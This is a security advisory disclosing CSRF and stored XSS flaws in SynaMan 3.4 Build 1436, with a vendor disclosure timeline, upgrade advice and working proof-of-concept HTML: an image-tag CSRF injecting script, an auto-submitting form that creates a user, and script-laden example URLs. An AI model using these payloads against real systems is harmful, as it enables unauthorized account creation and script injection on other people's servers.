# Exploit Title: Multiple vulnerabilities in SynaMan 3.4 Build 1436 (CSRF/Stored XSS)# Date: 07-05-2015# Exploit Author: Marlow Tannhauser# Contact: marlowtannhauser@gmail.com# Vendor Homepage: http://www.synametrics.com# Software Link: http://web.synametrics.com/SynaManDownload.htm# Version: 3.4 Build 1436. Earlier versions may also be affected.# CVE: 2015-3140# Category: Web apps# DISCLOSURE TIMELINE #08/02/2015: Initial disclosure to vendor and CERT
09/02/2015: Acknowledgment of vulnerabilities from vendor
11/02/2015: Disclosure deadline of 01/03/2015 agreed with vendor
19/02/2015: Disclosure deadline renegotiated to 01/04/2015 at vendor's request
09/04/2015: Disclosure deadline renegotiated to 20/04/2015 at vendor's request
20/04/2015: Confirmation of fix from vendor
07/05/2015: Disclosure
Note that the CVE-ID isfor the CSRF vulnerability only. No CVE-ID has been generated for the stored XSS vulnerabilities. The vulnerable version of the product is no longer available for download from the vendor's webpage.# EXPLOIT DESCRIPTION #
SynaMan 3.4 Build 1436is vulnerable to CSRF attacks, which can also be combined with stored XSS attacks (authenticated administrators only). The JSESSIONID created when a user logs on to the system is persistent and does not change across requests.# POC 1 #
The following PoC uses the CSRF vulnerability together with one of the stored XSS vulnerabilities, to create a new shared folder in the application.<html><img src="http://192.168.0.8:6060/app?sharedName=%3Cscript%3Ealert%28%22XSS%22%29%3C%2Fscript%3E&selectedPath=C%3A\&publicRead=1&publicWrite=1&operation=mngFolders&st=addFolder" alt="" width="1" height="1"></html># POC 2 #
The following PoC uses the CSRF vulnerability to create a new user with the details shown.<html><body><form name="evilform" method="post" action="http://192.168.1.67:6060/app?operation=mngUsers"><inputtype="hidden" name="fullName" value="marlow"/><inputtype="hidden" name="login" value="marlow@marlow.com"/><inputtype="hidden" name="password" value="marlow"/><inputtype="hidden" name="operation" value="mngUsers"/><inputtype="hidden" name="st" value="saveUser"/><inputtype="hidden" name="oldLogin" value=""/><inputtype="hidden" name="modifyUser" value="false"/></form><script type="text/javascript">
document.evilform.submit();</script></body></html># STORED XSS VULNERABILITIES #
Stored XSS vulnerabilities are present in the following fields:
Managing Shared Folders > Shared folder name field
Example URL: http://192.168.0.8:6060/app?sharedName=%3Cscript%3Ealert%28%22Hello1%22%29%3C%2Fscript%3E&selectedPath=C%3A\&publicRead=1&publicWrite=1&operation=mngFolders&st=addFolder
Manage Users > Add a new user > User's name field and Email/Login field
Example URL: POST request
Advanced Configuration > Partial Branding > Main heading field and Sub heading field
Affects all users on all pages, pre and post authentication
Example URL: POST request
Discovery Wizard > Discovery Service Signup > One-Word name
Example URL: http://192.168.0.8:6060/app?oneword=%3Cscript%3Ealert%28%22Marlow%22%29%3C%2Fscript%3E&x=35&y=21&operation=discovery&st=checkAvailability
# MITIGATION #
Upgrade to the latest build of SynaMan, available from the link shown.